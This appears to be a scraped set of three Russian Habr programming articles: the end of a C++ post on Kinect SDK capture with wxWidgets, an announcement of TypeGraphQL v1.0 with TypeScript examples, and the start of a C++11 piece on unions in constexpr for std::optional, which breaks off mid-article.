> DECLARE\_LOCAL\_EVENT\_TYPE(KINECT\_DEPTH\_FRAME\_RECEIVED, -1)
>
> DECLARE\_LOCAL\_EVENT\_TYPE(KINECT\_COLOR\_FRAME\_RECEIVED, -1)
>
> DECLARE\_LOCAL\_EVENT\_TYPE(KINECT\_SKELETON\_FRAME\_RECEIVED, -1)
>
>
>
> END\_DECLARE\_EVENT\_TYPES()`
**KinectGrabberBase.cpp**
> `#include "KinectGrabberBase.h"
>
>
>
> DEFINE\_EVENT\_TYPE(KINECT\_DEPTH\_FRAME\_RECEIVED)
>
> DEFINE\_EVENT\_TYPE(KINECT\_COLOR\_FRAME\_RECEIVED)
>
> DEFINE\_EVENT\_TYPE(KINECT\_SKELETON\_FRAME\_RECEIVED)
>
> ...`
**KinectGrabberMSW.h**
> `#pragma once
>
>
>
> #include "KinectGrabberBase.h"
>
> #include "MSR\_NuiApi.h"
>
>
>
> class KinectGrabberMSW : public KinectGrabberBase, public wxThreadHelper
>
> {
>
> ...
>
> private:
>
> virtual wxThread::ExitCode Entry();
>
> BYTE \* CreateDepthDataBuffer();
>
> BYTE \* CreateColorDataBuffer();
>
> size\_t GetDepthDataBufferLength();
>
> size\_t GetColorDataBufferLength();
>
> void FreeDataBuffer(BYTE \* data);
>
> bool ReadDepthFrame();
>
> bool ReadColorFrame();
>
> bool ReadSkeletonFrame();
>
>
>
> void ReadDepthLockedRect(KINECT\_LOCKED\_RECT & LockedRect,
>
> int w, int h, BYTE \* data);
>
> void ReadColorLockedRect(KINECT\_LOCKED\_RECT & LockedRect,
>
> int w, int h, BYTE \* data);
>
> static RGBQUAD Nui\_ShortToQuad\_Depth( USHORT s );
>
> void ResetEvents();
>
> void StopThread();
>
> bool CopyLocalBuffer(BYTE \* src, BYTE \* dst, size\_t count);
>
> HANDLE m\_NewDepthFrameEvent;
>
> HANDLE m\_NewColorFrameEvent;
>
> HANDLE m\_NewSkeletonFrameEvent;
>
> HANDLE m\_DepthStreamHandle;
>
> HANDLE m\_ColorStreamHandle;
>
> BYTE \* m\_DepthBuffer;
>
> BYTE \* m\_ColorBuffer;
>
> INuiInstance \* m\_Instance;
>
> size\_t m\_DeviceIndex;
>
> NUI\_SKELETON\_FRAME m\_SkeletonFrame;
>
> };`
**KinectGrabberMSW.cpp**
> `#include "KinectGrabberMSW.h"
>
>
>
> KinectGrabberMSW::KinectGrabberMSW(wxEvtHandler \* handler, size\_t deviceIndex)
>
> : KinectGrabberBase(handler), m\_DeviceIndex(deviceIndex), m\_Instance(NULL)
>
> {
>
> m\_DepthBuffer = CreateDepthDataBuffer();
>
> m\_ColorBuffer = CreateColorDataBuffer();
>
> ResetEvents();
>
> do
>
> {
>
> if(FAILED(MSR\_NuiCreateInstanceByIndex((int)m\_DeviceIndex, &m\_Instance))) break;
>
> if(FAILED(m\_Instance->NuiInitialize(
>
> NUI\_INITIALIZE\_FLAG\_USES\_DEPTH\_AND\_PLAYER\_INDEX |
>
> NUI\_INITIALIZE\_FLAG\_USES\_COLOR |
>
> NUI\_INITIALIZE\_FLAG\_USES\_SKELETON))) break;
>
> }
>
> while(false);
>
> }
>
> ...
>
> void \* KinectGrabberMSW::GrabSkeletonFrame()
>
> {
>
> do
>
> {
>
> if(!GetThread() || !GetThread()->IsAlive() ||
>
> !m\_Instance || !m\_NewSkeletonFrameEvent) break;
>
> return &m\_SkeletonFrame;
>
> }
>
> while(false);
>
> return NULL;
>
> }
>
>
>
> bool KinectGrabberMSW::Start()
>
> {
>
> do
>
> {
>
> if(!m\_Instance) break;
>
> if(GetThread() && GetThread()->IsAlive()) break;
>
>
>
> if(CreateThread() != wxTHREAD\_NO\_ERROR) break;
>
>
>
> m\_NewDepthFrameEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
>
> m\_NewColorFrameEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
>
> m\_NewSkeletonFrameEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
>
>
>
> if(FAILED(m\_Instance->NuiImageStreamOpen(
>
> NUI\_IMAGE\_TYPE\_DEPTH\_AND\_PLAYER\_INDEX,
>
> NUI\_IMAGE\_RESOLUTION\_320x240, 0,
>
> 3,
>
> m\_NewDepthFrameEvent,
>
> &m\_DepthStreamHandle))) break;
>
> if(FAILED(m\_Instance->NuiImageStreamOpen(NUI\_IMAGE\_TYPE\_COLOR,
>
> NUI\_IMAGE\_RESOLUTION\_640x480, 0,
>
> 4,
>
> m\_NewColorFrameEvent,
>
> &m\_ColorStreamHandle))) break;
>
> if(FAILED(m\_Instance->NuiSkeletonTrackingEnable(
>
> m\_NewSkeletonFrameEvent, 0))) break;
>
>
>
> GetThread()->Run();
>
>
>
> return true;
>
> }
>
> while(false);
>
> return false;
>
> }
>
> ...
>
> wxThread::ExitCode KinectGrabberMSW::Entry()
>
> {
>
> HANDLE eventHandles[3];
>
> eventHandles[0] = m\_NewDepthFrameEvent;
>
> eventHandles[1] = m\_NewColorFrameEvent;
>
> eventHandles[2] = m\_NewSkeletonFrameEvent;
>
> while(!GetThread()->TestDestroy())
>
> {
>
> int mEventIndex = WaitForMultipleObjects(
>
> \_countof(eventHandles), eventHandles, FALSE, 100);
>
> switch(mEventIndex)
>
> {
>
> case 0: ReadDepthFrame(); break;
>
> case 1: ReadColorFrame(); break;
>
> case 2: ReadSkeletonFrame(); break;
>
> default:
>
> break;
>
> }
>
> }
>
> return NULL;
>
> }
>
> ...
>
> void KinectGrabberMSW::StopThread()
>
> {
>
> if(GetThread())
>
> {
>
> if(GetThread()->IsAlive())
>
> {
>
> GetThread()->Delete();
>
> }
>
> if(m\_kind == wxTHREAD\_JOINABLE)
>
> {
>
> if(GetThread()->IsAlive())
>
> {
>
> GetThread()->Wait();
>
> }
>
> wxDELETE(m\_thread);
>
> }
>
> else
>
> {
>
> m\_thread = NULL;
>
> }
>
> }
>
> wxYield();
>
> }
>
>
>
> bool KinectGrabberMSW::ReadDepthFrame()
>
> {
>
> do
>
> {
>
> if(m\_DeviceIndex < 0 || !m\_Instance) break;
>
> const NUI\_IMAGE\_FRAME \* pImageFrame;
>
> if(FAILED(NuiImageStreamGetNextFrame(
>
> m\_DepthStreamHandle, 200, &pImageFrame))) break;
>
> NuiImageBuffer \* pTexture = pImageFrame->pFrameTexture;
>
> KINECT\_LOCKED\_RECT LockedRect;
>
> pTexture->LockRect( 0, &LockedRect, NULL, 0 );
>
> ReadDepthLockedRect(LockedRect,
>
> m\_DepthFrameSize.GetWidth(),
>
> m\_DepthFrameSize.GetHeight(),
>
> m\_DepthBuffer);
>
> NuiImageStreamReleaseFrame(m\_DepthStreamHandle, pImageFrame);
>
> if(m\_Handler)
>
> {
>
> wxCommandEvent e(KINECT\_DEPTH\_FRAME\_RECEIVED, wxID\_ANY);
>
> e.SetInt(m\_DeviceIndex);
>
> m\_Handler->AddPendingEvent(e);
>
> }
>
> return true;
>
> }
>
> while(false);
>
> return false;
>
> }
>
>
>
> bool KinectGrabberMSW::ReadColorFrame()
>
> {
>
> do
>
> {
>
> if(m\_DeviceIndex < 0 || !m\_Instance) break;
>
> const NUI\_IMAGE\_FRAME \* pImageFrame;
>
> if(FAILED(NuiImageStreamGetNextFrame(
>
> m\_ColorStreamHandle, 200, &pImageFrame))) break;
>
> NuiImageBuffer \* pTexture = pImageFrame->pFrameTexture;
>
> KINECT\_LOCKED\_RECT LockedRect;
>
> pTexture->LockRect( 0, &LockedRect, NULL, 0 );
>
> ReadColorLockedRect(LockedRect,
>
> m\_ColorFrameSize.GetWidth(),
>
> m\_ColorFrameSize.GetHeight(),
>
> m\_ColorBuffer);
>
> NuiImageStreamReleaseFrame(m\_ColorStreamHandle, pImageFrame);
>
> if(m\_Handler)
>
> {
>
> wxCommandEvent e(KINECT\_COLOR\_FRAME\_RECEIVED, wxID\_ANY);
>
> e.SetInt(m\_DeviceIndex);
>
> m\_Handler->AddPendingEvent(e);
>
> }
>
> return true;
>
> }
>
> while(false);
>
> return false;
>
> }
>
>
>
> bool KinectGrabberMSW::ReadSkeletonFrame()
>
> {
>
> do
>
> {
>
> if(m\_DeviceIndex < 0 || !m\_Instance) break;
>
> if(FAILED(m\_Instance->NuiSkeletonGetNextFrame(200, &m\_SkeletonFrame))) break;
>
> if(m\_Handler)
>
> {
>
> wxCommandEvent e(KINECT\_SKELETON\_FRAME\_RECEIVED, wxID\_ANY);
>
> e.SetInt(m\_DeviceIndex);
>
> m\_Handler->AddPendingEvent(e);
>
> }
>
> return true;
>
> }
>
> while(false);
>
> return false;
>
> }
>
>
>
> void KinectGrabberMSW::ReadDepthLockedRect(KINECT\_LOCKED\_RECT & LockedRect, int w, int h, BYTE \* data)
>
> {
>
> if( LockedRect.Pitch != 0 )
>
> {
>
> BYTE \* pBuffer = (BYTE\*) LockedRect.pBits;
>
> USHORT \* pBufferRun = (USHORT\*) pBuffer;
>
> for( int y = 0 ; y < h ; y++ )
>
> {
>
> for( int x = 0 ; x < w ; x++ )
>
> {
>
> RGBQUAD quad = KinectGrabberMSW::Nui\_ShortToQuad\_Depth( \*pBufferRun );
>
> pBufferRun++;
>
> int offset = (w \* y + x) \* 3;
>
> data[offset + 0] = quad.rgbRed;
>
> data[offset + 1] = quad.rgbGreen;
>
> data[offset + 2] = quad.rgbBlue;
>
> }
>
> }
>
> }
>
> }
>
>
>
> void KinectGrabberMSW::ReadColorLockedRect(KINECT\_LOCKED\_RECT & LockedRect, int w, int h, BYTE \* data)
>
> {
>
> if( LockedRect.Pitch != 0 )
>
> {
>
> BYTE \* pBuffer = (BYTE\*) LockedRect.pBits;
>
> for( int y = 0 ; y < h ; y++ )
>
> {
>
> for( int x = 0 ; x < w ; x++ )
>
> {
>
> RGBQUAD \* quad = ((RGBQUAD\*)pBuffer) + x;
>
> int offset = (w \* y + x) \* 3;
>
> data[offset + 0] = quad->rgbRed;
>
> data[offset + 1] = quad->rgbGreen;
>
> data[offset + 2] = quad->rgbBlue;
>
> }
>
> pBuffer += LockedRect.Pitch;
>
> }
>
> }
>
> }
>
> ...`
**KinectHelper.h**
> `#pragma once
>
>
>
> class KinectGrabberBase;
>
>
>
> class KinectHelper
>
> {
>
> public:
>
> KinectHelper();
>
> ~KinectHelper();
>
>
>
> size\_t GetDeviceCount();
>
> wxString GetDeviceName(size\_t index);
>
> KinectGrabberBase \* CreateGrabber(wxEvtHandler \* handler, size\_t index);
>
> };`
**KinectHelper.cpp**
> `...
>
> wxString KinectHelper::GetDeviceName(size\_t index)
>
> {
>
> BSTR result;
>
> DWORD size;
>
> INuiInstance \* instance(NULL);
>
> wxString name = wxT("Unknown Kinect Sensor");
>
> if(!FAILED(MSR\_NuiCreateInstanceByIndex(index, &instance)))
>
> {
>
> if(instance != NULL)
>
> {
>
> if(instance->MSR\_NuiGetPropsBlob(
>
> MsrNui::INDEX\_UNIQUE\_DEVICE\_NAME,
>
> &result, &size))
>
> {
>
> name = result;
>
> SysFreeString(result);
>
> }
>
> MSR\_NuiDestroyInstance(instance);
>
> }
>
> }
>
> return name;
>
> }
>
>
>
> KinectGrabberBase \* KinectHelper::CreateGrabber(wxEvtHandler \* handler, size\_t index)
>
> {
>
> #if defined(\_\_WXMSW\_\_)
>
> return new KinectGrabberMSW(handler, index);
>
> #else
>
> return NULL;
>
> #endif
>
> }
>
> ...`
Выделение памяти для RGB-буферов, а также код для обеспечения захвата изображений в отдельном потоке, можно убрать из класса формы. Теперь класс формы будет выглядеть так:
**KinectTestMainFrame.h**
> `class KinectTestMainFrame: public wxFrame
>
> {
>
> ...
>
> void OnDepthFrame(wxCommandEvent & event);
>
> void OnColorFrame(wxCommandEvent & event);
>
> void OnSkeletonFrame(wxCommandEvent & event);
>
> ...
>
> wxImage m\_CurrentImage;
>
> int m\_SelectedDeviceIndex;
>
> wxImage m\_ColorImage;
>
> wxImage m\_SkeletonImage;
>
> KinectGrabberBase \* m\_Grabber;
>
> ...
>
> };`
**KinectTestMainFrame.cpp**
> `...
>
> BEGIN\_EVENT\_TABLE( KinectTestMainFrame, wxFrame )
>
> ...
>
> EVT\_COMMAND (wxID\_ANY, KINECT\_DEPTH\_FRAME\_RECEIVED, \
>
> KinectTestMainFrame::OnDepthFrame)
>
> EVT\_COMMAND (wxID\_ANY, KINECT\_COLOR\_FRAME\_RECEIVED, \
>
> KinectTestMainFrame::OnColorFrame)
>
> EVT\_COMMAND (wxID\_ANY, KINECT\_SKELETON\_FRAME\_RECEIVED, \
>
> KinectTestMainFrame::OnSkeletonFrame)
>
> END\_EVENT\_TABLE()
>
> ...
>
> void KinectTestMainFrame::OnDEVICELISTBOXSelected( wxCommandEvent& event )
>
> {
>
> do
>
> {
>
> size\_t deviceIndex =
>
> (size\_t)m\_DeviceListBox->GetClientData(event.GetInt());
>
> if(deviceIndex < 0 ||
>
> deviceIndex > m\_KinectHelper->GetDeviceCount()) break;
>
> m\_SelectedDeviceIndex = deviceIndex;
>
> StartGrabbing();
>
> }
>
> while(false);
>
> }
>
>
>
> void KinectTestMainFrame::StartGrabbing()
>
> {
>
> StopGrabbing();
>
> m\_Grabber = m\_KinectHelper->CreateGrabber(this, m\_SelectedDeviceIndex);
>
> m\_CurrentImage = wxImage(
>
> m\_Grabber->GetDepthFrameSize().GetWidth(),
>
> m\_Grabber->GetDepthFrameSize().GetHeight());
>
> m\_ColorImage = wxImage(
>
> m\_Grabber->GetColorFrameSize().GetWidth(),
>
> m\_Grabber->GetColorFrameSize().GetHeight());
>
> m\_SkeletonImage = wxImage(
>
> m\_Grabber->GetDepthFrameSize().GetWidth(),
>
> m\_Grabber->GetDepthFrameSize().GetHeight());
>
> m\_DepthCanvas->SetCurrentImage(&m\_CurrentImage);
>
> m\_ColorCanvas->SetCurrentImage(&m\_ColorImage);
>
> m\_SkeletonCanvas->SetCurrentImage(&m\_SkeletonImage);
>
> if(!m\_Grabber->Start())
>
> {
>
> StopGrabbing();
>
> }
>
> }
>
> ...
>
> void KinectTestMainFrame::OnDepthFrame(wxCommandEvent & event)
>
> {
>
> do
>
> {
>
> if(!m\_Grabber) break;
>
> m\_Grabber->GrabDepthFrame(m\_CurrentImage.GetData());
>
> m\_DepthCanvas->Refresh();
>
> }
>
> while(false);
>
> }
>
>
>
> void KinectTestMainFrame::OnColorFrame(wxCommandEvent & event)
>
> {
>
> do
>
> {
>
> if(!m\_Grabber) break;
>
> m\_Grabber->GrabColorFrame(m\_ColorImage.GetData());
>
> m\_ColorCanvas->Refresh();
>
> }
>
> while(false);
>
> }
>
>
>
> void KinectTestMainFrame::OnSkeletonFrame(wxCommandEvent & event)
>
> {
>
> do
>
> {
>
> if(!m\_Grabber) break;
>
> SkeletonPainter painter;
>
> wxBitmap bmp(m\_SkeletonImage.GetWidth(), m\_SkeletonImage.GetHeight());
>
> wxMemoryDC mdc(bmp);
>
> painter.DrawSkeleton(mdc, m\_Grabber->GrabSkeletonFrame());
>
> mdc.SelectObject(wxNullBitmap);
>
> m\_SkeletonImage = bmp.ConvertToImage();
>
> m\_SkeletonCanvas->Refresh();
>
> }
>
> while(false);
>
> }`
Как видно из кода, класс граббера, при получении нового кадра, отправляет уведомление объекту `wxEvtHandler` (а класс `wxFrame` в wxWidgets является производным от `wxEvtHandler`). У формы есть обработчики событий, которые вызываются при получении уведомлений от граббера.
Причина, по которой метод `KinectGrabberBase::GrabSkeletonFrame()` возвращает `void*`, тоже довольно проста – если делать реализации захвата изображений с использованием различных SDK (в том числе и неофициальных), то не факт что у всех этих SDK информация о положении игроков будет приходить в виде одинаковых структур данных. В любом случае координаты нужно отправлять на пост-обработку. В таком случае код, который получит указатель из граббера, будет сам знать, к какому типа данных его нужно преобразовать. Графическому интерфейсу о внутреннем устройстве граббера знать совсем не обязательно.
В завершение
------------
В завершение хотелось бы отметить что, хотя SDK от Microsoft находится в состоянии beta, но оно вполне пригодно к использованию, хотя функционал управления Kinect реализован не полностью (libfreenect, Например, позволяет управлять светодиодами на устройстве, а официальный SDK, судя по документации, этого не умеет). Библиотека работает на удивление стабильно. Заметно, что разработчики позаботились о том, чтобы избежать утечек памяти. Если, например, забыть закрыть поток при выходе, то отладчик Visual Studio не будет сообщать об утечках памяти, скорее всего все корректно завершается и удаляется из памяти при выгрузке библиотеки.
Исходный код тестового приложения и библиотеки можно найти на Google Code – [wxKinectHelper](http://code.google.com/p/wxkinecthelper/).
Рассчитываю на развитие проекта и добавление новых реализаций грабберов. В данный момент пытаюсь приручить libfreenect. Из коробки и без предварительных шаманств удалось запустить все кроме получения изображений – LED индикаторами мигать и жужжать моторчиком получается отлично. То же пытаюсь сделать и с OpenNI.
Полезные ссылки
---------------
[Microsoft Research Kinect SDK](http://research.microsoft.com/en-us/um/redmond/projects/kinectsdk/)
### Видео по разработке с Kinect SDK
* [Kinect for Windows SDK Quickstarts](http://channel9.msdn.com/series/KinectSDKQuickstarts)
* [Kinect for Windows SDK Beta Launch](http://channel9.msdn.com/Events/KinectSDK/BetaLaunch)
### Альтернативные SDK
* [Проект OpenKinect (libfreenect)](http://openkinect.org/)
* [Проект OpenNI](http://www.openni.org/)
* [Проект CL NUI от NUI Group](http://codelaboratories.com/nui)
### Интересные проекты, использующие Kinect SDK
* [Coding4Fun Kinect Toolkit](http://c4fkinect.codeplex.com/)
* [Kinect Mouse Cursor](http://kinectmouse.codeplex.com/)
* [Kinect Paint](http://paint.codeplex.com/)
На правах ЗЫ
------------
Если Вы планируете или уже начали разработку C++ проекта с использованием Kinect SDK (официального или альтернативного) или проекта с использованием алгоритмов компьютерного зрения, и Вам нужна помощь в разработке — готов рассмотреть различные варианты сотрудничества. | https://habr.com/ru/post/123588/ | null | ru | null |
# GraphQL + Typescript = любовь. TypeGraphQL v1.0
[](https://habr.com/ru/company/ruvds/blog/516634/)
ЗTypeGraphQL v1.0
=================
19 августа вышел в релиз фреймворк TypeGraphQL, упрощающий работу с GraphQL на Typescript. За два с половиной года проект обзавёлся солидным комьюнити и поддержкой нескольких компаний и уверено набирает популярность. Спустя более 650 коммитов у него более 5000 звёзд и 400 форков на гитхабе, плод упорной работы польского разработчика Михала Литека. В версии 1.0 значительно улучшилась производительность, схемы получили изоляцию и избавились от прежней избыточности, появились две крупные фичи — директивы и расширения, фреймворк был приведён к полной совместимости с GraphQL.
Для чего этот фреймворк?
------------------------
Михал, ссылаясь на свой опыт работы с голым GraphQL, называет процесс разработки «болезненным» из-за избыточности и сложности изменения существующего кода:
1. Сначала нужно создать все необходимые типы GraphQL в формате [SDL](https://www.prisma.io/blog/graphql-sdl-schema-definition-language-6755bcb9ce51) (Schema Definition Language);
2. Затем мы создаём модели данных в [ORM](https://en.wikipedia.org/wiki/Object-relational_mapping) (Object-Relational Mapping), чтобы описать объекты в базе данных;
3. После этого надо написать преобразователи для всех запросов, мутаций и полей, что вынуждает нас...
4. Создавать тайпскриптовые интерфейсы для всех аргументов, инпутов и даже типов объектов.
5. Только после этого преобразователями можно пользоваться, не забывая при этом вручную проверять рутинные вещи вроде валидации, авторизации и загрузки зависимостей.
Звучит не очень практично, и при таком подходе главная проблема — в избыточности кода, которая затрудняет синхронизацию всех параметров при его написании и добавляет рисков при изменениях. Чтобы добавить новое поле к нашей сущности, мы должны перебрать все файлы: изменить класс сущности, затем изменить часть схемы и интерфейс. То же самое и с входными данными или аргументами, легко забыть обновить один элемент или ошибиться в одном типе.
Для борьбы с избыточностью и автоматизации всего этого ручного труда и был создан TypeGraphQL. В его основе лежит идея хранить всю информацию в одном месте, описывая схему данных через классы и декораторы. Ручной труд по внедрению зависимостей, валидации данных и авторизации фреймворк также берёт на себя, разгружая разработчика.
Принцип работы
--------------
Разберём работу TypeGraphQL на примере GraphQL API для базы рецептов.
Так будет выглядеть схема в SDL:
```
type Recipe {
id: ID!
title: String!
description: String
creationDate: Date!
ingredients: [String!]!
}
```
Перепишем её в виде класса Recipe:
```
class Recipe {
id: string;
title: string;
description?: string;
creationDate: Date;
ingredients: string[];
}
```
Снабдим класс и свойства декораторами:
```
@ObjectType()
class Recipe {
@Field(type => ID)
id: string;
@Field()
title: string;
@Field({ nullable: true })
description?: string;
@Field()
creationDate: Date;
@Field(type => [String])
ingredients: string[];
}
```
Подробные правила описания полей и типов в [соответствующем разделе документации](https://typegraphql.com/docs/types-and-fields.html)
Затем мы опишем обычные CRUD запросы и мутации. Для этого создадим контроллер RecipeResolver c RecipeService, переданным в конструктор:
```
@Resolver(Recipe)
class RecipeResolver {
constructor(private recipeService: RecipeService) {}
@Query(returns => Recipe)
async recipe(@Arg("id") id: string) {
const recipe = await this.recipeService.findById(id);
if (recipe === undefined) {
throw new RecipeNotFoundError(id);
}
return recipe;
}
@Query(returns => [Recipe])
recipes(@Args() { skip, take }: RecipesArgs) {
return this.recipeService.findAll({ skip, take });
}
@Mutation(returns => Recipe)
@Authorized()
addRecipe(
@Arg("newRecipeData") newRecipeData: NewRecipeInput,
@Ctx("user") user: User,
): Promise {
return this.recipeService.addNew({ data: newRecipeData, user });
}
@Mutation(returns => Boolean)
@Authorized(Roles.Admin)
async removeRecipe(@Arg("id") id: string) {
try {
await this.recipeService.removeById(id);
return true;
} catch {
return false;
}
}
}
```
Здесь декоратор @Authorized() применяется для ограничения доступа для неавторизованных (или обладающих недостаточными правами) пользователей. Подробнее про авторизацию можно почитать в [документации](https://typegraphql.com/docs/authorization.html).
Пора добавить NewRecipeInput и RecipesArgs:
```
@InputType()
class NewRecipeInput {
@Field()
@MaxLength(30)
title: string;
@Field({ nullable: true })
@Length(30, 255)
description?: string;
@Field(type => [String])
@ArrayMaxSize(30)
ingredients: string[];
}
@ArgsType()
class RecipesArgs {
@Field(type => Int, { nullable: true })
@Min(0)
skip: number = 0;
@Field(type => Int, { nullable: true })
@Min(1) @Max(50)
take: number = 25;
}
```
[Length](https://habr.com/ru/users/length/), [Min](https://habr.com/ru/users/min/) и @ArrayMaxSize — это декораторы из класса-валидатора, которые автоматически выполняют проверку полей.
Последний шаг — собственно сборка схемы. Этим занимается функция buildSchema:
```
const schema = await buildSchema({
resolvers: [RecipeResolver]
});
```
И всё! Теперь у нас есть полностью рабочая схема GraphQL. В скомпилированном виде она выглядит так:
```
type Recipe {
id: ID!
title: String!
description: String
creationDate: Date!
ingredients: [String!]!
}
input NewRecipeInput {
title: String!
description: String
ingredients: [String!]!
}
type Query {
recipe(id: ID!): Recipe
recipes(skip: Int, take: Int): [Recipe!]!
}
type Mutation {
addRecipe(newRecipeData: NewRecipeInput!): Recipe!
removeRecipe(id: ID!): Boolean!
}
```
Это пример базовой функциональности, на самом деле TypeGraphQL умеет использовать ещё кучу инструментов из арсенала TS. Ссылки на документацию вы уже видели :)
Что нового в 1.0
----------------
Вкратце пройдёмся по основным изменениям релиза:
#### Производительность
TypeGraphQL — это по сути дополнительный слой абстракции над библиотекой graphql-js, и он всегда будет работать медленнее её. Но теперь, по сравнению с версией 0.17, на выборке из 25000 вложенных объектов фреймфорк добавляет **в 30 раз меньше оверхеда** — с 500% до 17% с возможностью ускорения до 13%. Отдельные нетривиальные способы оптимизации описаны в [документации](https://typegraphql.com/docs/performance.html).
#### Изоляция схем
В старых версиях схема строилась из всех метаданных, получаемых из декораторов. Каждый последующий вызов buildSchema возвращал одну и ту же схему, построенную из всех доступных в хранилище метаданных. Теперь же схемы изолированы и buildSchema выдаёт только те запросы, которые напрямую связаны с заданными параметрами. То есть изменяя лишь параметр resolvers мы поулчаем разные операции над схемами GraphQL.
#### Директивы и расширения
Это два способа добавить метаданные в элементы схемы: директивы GraphQL являются часть SDL и могут быть объявлены прямо в схеме. Также они могут изменять её и выполнять специфические операции, например, сгенерировать тип соединения для пагинации. Применяются они с помощью декораторов @Directive и @Extensions и различаются подходом к построению схемы. [Документация Directives](https://typegraphql.com/docs/directives.html), [Документация Extensions](https://typegraphql.com/docs/extensions.html).
#### Преобразователи и аргументы для полей интерфейсов
Последний рубеж полной совместимости с GraphQL лежал здесь. Теперь можно определять преобразователи для полей интерфейса, используя синтаксис @ObjectType:
```
@InterfaceType()
abstract class IPerson {
@Field()
avatar(@Arg("size") size: number): string {
return `http://i.pravatar.cc/${size}`;
}
}
```
Немногочисленные исключения описаны [здесь](https://typegraphql.com/docs/interfaces.html#resolvers-and-arguments).
#### Преобразование вложенных инпутов и массивов
В предыдущих версиях экземпляр класса инпута создавался только на первом уровне вложенности. Это создавало проблемы и баги с их валидацией. Fixed.
Заключение
----------
В течение всего времени разработки, проект оставался открытым к идеям и критике, опенсорсным и зажигательным. 99% кода написал сам Михал Литек, но и сообщество внесло огромный вклад в развитие TypeGraphQL. Теперь, с нарастающей популярностью и финансовой поддержкой, он может стать настоящим стандартом в своей области.
[Сайт](https://typegraphql.com/)
[Гитхаб](https://github.com/MichalLytek/type-graphql)
[Доки](https://typegraphql.com/docs/introduction.html)
[Твиттер Михала](https://twitter.com/michallytek)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=kozl&utm_content=typegraphql#order) | https://habr.com/ru/post/516634/ | null | ru | null |
# Использование объединений в константных выражениях под С++11
Возможно, вы уже знакомы с [обобщёнными константными выражениями](http://ru.wikipedia.org/wiki/C%2B%2B11#.D0.9E.D0.B1.D0.BE.D0.B1.D1.89.D1.91.D0.BD.D0.BD.D1.8B.D0.B5_.D0.BA.D0.BE.D0.BD.D1.81.D1.82.D0.B0.D0.BD.D1.82.D0.BD.D1.8B.D0.B5_.D0.B2.D1.8B.D1.80.D0.B0.D0.B6.D0.B5.D0.BD.D0.B8.D1.8F). Если нет — можете почитать о них, например, [вот здесь](http://akrzemi1.wordpress.com/2011/05/06/compile-time-computations/)). В этой статье я хочу поделиться своим опытом в использовании объединений (unions) в константных выражениях.
Объединения не очень популярны в ООП из-за той бреши в безопасности типов, которую они открывают, но иногда они предоставляют некоторые незаменимые возможности, которые лично я оценил при работе с Fernando Cacciola над черновиком [std::optional](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2012/n3406.html).
#### Предисловие
Знаете ли вы библиотеку [Boost.Optional](http://www.boost.org/doc/libs/1_52_0/libs/optional/doc/html/index.html)? Если коротко, **boost::optional** это «составная» сущность, которая может хранить любое значение типа **T** плюс одно дополнительное состояние, указывающее на отсутствие сохраненного значения. Это такое себе "**nullable T**".
Одна из особенностей **boost::optional** в том, что инициализируя этот объект «пустым» состоянием, объект типа **T** не создаётся вообще. Даже не вызывается его конструктор по-умолчанию: во-первых, для увеличения производительности, а во-вторых, у типа **Т** вообще может не быть конструктора по-умолчанию. Один из способов реализовать это — выделить некоторый буфер в памяти, достаточно большой для сохранения объекта типа **Т** и использовать явный вызов конструктора только в тот момент, когда объект точно необходимо создать.
```
template
class optional
{
bool initialized\_;
char storage\_[ sizeof(T) ];
// ...
};
```
Это только одна из идей возможной реализации. На практике, она не сработает из-за проблем с выравниванием — мы должны будем использовать **std::aligned\_storage**; также можно использовать «исключающее объединение» — этот механизм детально описан в [ACCU Overload #112](http://accu.org/var/uploads/journals/Overload112.pdf). Конструкторы «пустого» состояния и «по реальному значению» могут быть реализованы следующим образом:
```
optional::optional(none\_t) // null-state tag
{
initialized\_ = false;
// оставляем storage\_ неинициализированным
};
optional::optional(T const& val)
{
new (storage\_) T{val};
initialized\_ = true;
};
```
Реализация деструктора, как вы уже могли догадаться, может быть следующей:
```
optional::~optional()
{
if (initialized\_) {
static\_cast(storage\_) -> T::~T();
}
};
```
#### Проблема №1
В случае применения **std::optional**, есть некоторые особенности. Одно из них — тот факт, что **std::optional** должен быть литеральным типом (объекты которого могут быть использованы, как константы на этапе компиляции). Одно из ограничений, которые Стандарт налагает на такие типы, это то, что они должны иметь тривиальный деструктор: деструктор, который не делает ничего. А как мы видим в примере выше, наш деструктор всё-же делает что-то нужное, то есть наша цель в общем недостижима. Хотя она может быть достижима для частных случаев (когда деструктор типа **T** тоже является тривиальным, например, если **T** = **int**, нам не нужно вызывать его деструктор). Отсюда следует практическое определение тривиального деструктора: это такой деструктор, который мы можем и вообще не вызывать без всякого вреда для программы.
Еще одно ограничение для литеральных типов это то, что они должны иметь по крайней мере один **constexpr-конструктор**. Этот конструктор (или несколько конструкторов) будет использован для создания констант на этапе компиляции. Однако, для избежания неопределенного поведения, Стандарт определяет ряд ограничений на **constexpr-конструкторы** и их типы, чтобы убедиться, что все поля данных в базовом типе будут определены.
Таким образом, наша реализация класса **optional** с соответственного размера массивом не будет работать, поскольку в конструкторе по значению массив не инициализируется в списке инициализации членов (перед телом конструктора). Мы могли бы заполнить массив нулями в конструкторе «пустого» состояния, но это всё накладные расходы на этапе выполнения. Мы также будем иметь аналогичную проблему и в случае использования **std::aligned\_storage**. И также мы не можем использовать простое исключающее объединение (из ACCU Overload #112)
```
template
class optional
{
bool initialized\_;
union { T storage\_ }; // анонимное объединение
};
```
Нельзя этого сделать потому, что при необходимости создать «пустой» объект класса **optional** мы должны будем либо оставить анонимное объединение неинициализированным (что недопустимо в **constexpr-функциях**), либо вызвать конструктор по-умолчанию для **storage\_** — но это противоречит нашей цели избежать ненужной инициализации объекта класса Т.
#### Проблема №2
Еще одна цель нашего дизайна — получить функцию, извлекающего из нашего объекта сохранённое в нём значение типа **T**. В реализации **boost::optional**, так же, как и в предложенном **std::optional**, для получения доступа к сохранённому значению используется оператор "\*" (**operator\***). Для максимальной производительности мы не проверяем состояние родительского объекта (для этого пользователь может воспользоваться отдельной функцией) и прямо обращаемся к сохранённому значению типа **T.**
```
explicit optional::operator bool() const // check for being initialized
{
return initialized\_;
};
T const& optional::operator\*() const
// precondition: bool(\*this)
{
return \*static\_cast(storage\_);
}
```
